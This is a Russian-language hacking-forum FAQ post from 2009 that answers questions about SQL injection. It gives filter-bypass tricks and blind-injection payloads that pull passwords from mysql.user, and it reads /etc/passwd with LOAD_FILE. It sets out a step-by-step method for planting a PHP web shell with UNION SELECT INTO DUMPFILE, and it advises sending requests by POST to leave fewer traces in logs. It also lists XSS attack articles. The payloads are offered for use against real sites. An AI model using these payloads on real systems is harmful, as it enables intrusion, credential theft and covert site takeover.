Показать сообщение отдельно

  #2  
Старый 03.02.2009, 23:55
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Вопрос №6 В скуле фильтруется ...(варианты)

Ну тут тема очень обширная, но некоторые моменты всё-же достаточно распространены
Сначала пробуем послать данные Постом(а вообще, всегда пробуем постом, т.к. палева в логах меньше), возможно пост не фильтруется.

Если POST тоже фильтруется, рассматрваем варианты, но для начала выясняем, что именно фильтруется. Самый простой способ это попробовать вставить возможное выражение\символ в комментарий. Тоесть:
a.php?id=1/*вот сюда вставляем*/
И если такой запрос не обработается нормально, то это оно и есть

Пробелы заменяем на +,/**/,%0D,%2B,%09,%0A,%20,%2B,$IFS
а в подзапросах можно вообще без пробелов как-то так:
php?a=(1)AND(lower(substring((SELECT(password)from (mysql.user)WHERE(user="user")),1,1))='b')
php?a='1'AND(exists(select(1)from(SmallNu_users)wh ere(ascii(lower(substring(user_id,1,1))))like(50)) )and'1'<'2'


"=" можно обойти с помощью like, IN, NOT IN

Ну и различные фильтры операторов можно попробовать обойти записью в разных регистрах, бывает фильтрация регистрозависимая т.е. union фильтрует, а UnIon пропустит. Ну и подзапросы никто не отменял (Рекоммендую всем один раз в них разобраться, и потом будет значительно легче)
---------------------------------------------

Вопрос №7 Помогите залить шелл через SQL
Для этой процедуры необходимо выполнение некоторых условий

1 file_priv (возможность чтения/записи файлов)
Проверяется это так:
union+select+file_priv+from+mysql.user+where+user= 'имя юзера'
'имя юзера'- это имя того юзера под которым работает база, т.е. то, что выводится по запросу:
union+select+user()
но без хоста. Тоесть если вывело root@localhost, то юзер root
Значения два, либо "Y"-повезло, либо "N", соответственно неповезло
Можно не заморачиваться и сразу попробовать прочитать файл:
union+select+LOAD_FILE('/etc/passwd')+from+mysql.user
если вывело, нужные привелегии у вашего юзера есть

2 Полный путь и папка на запись
Путь ищем в разнообразных ошибках или читая конфиги,через Лоад-Файл. Линк на дефолтные конфиги я приводил выше.

3 magic_quotes_gpc = Off
Для того, что-бы шелл залился, синтаксис мускула требует писать путь в ковычках.

Ну и наконец, если нам трижды повезло, льём например так:
union+select+1,'<?php код вашего шелла ?>',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/*
или ещё варианты рассматриваются сдесь:
Загрузка файл через mysql inj
Автор [cash]
и даже при magic_quotes_gpc = on , существует вероятность залиться, но для этого нужны 2 запроса к базе. Как это сделать описывается сдесь:
Заливка через двойной запрос
Автор Scipio
---------------------------------------------

По XSS вопросов возникает меньше, но линки на темы всё-же приведу:
Взлом чатов by Algol. Теория и Практика
Автор Algol
Особенности синтаксиса HTML
Авторы Algol zFailure
Использование UTF-7 в атаках класса XSS
Автор Algol
XSS крупным планом
Автор Thesaurus
Cross Site Scripting для новичков
Автор _Pantera_
Xss для новичков
Автор Micr0b
Темная сторона Xss
Автор Constantine

Важно Примеры SQL запросов приведены для базы MySql, в других базах синтаксис другой, читаем статьи.
База information_schema, появилась в MySql =>5

А то некоторые до сих пор умудряются писать , что доступ к шеме запрещён, на четвёртой ветке

По мере поступления повторяющихся вопросов буду дополнять тему ответами

Ну и наконец, если сдесь ответ на ваш вопрос не обнаружился, идём в тему
Ваши вопросы по уязвимостям
и задаём его там.
С конструктивными предложениями по поводу FAQ обращайтесь в ЛС модераторам раздела

закрыто (с)Const

Последний раз редактировалось Constantine; 16.04.2009 в 23:41..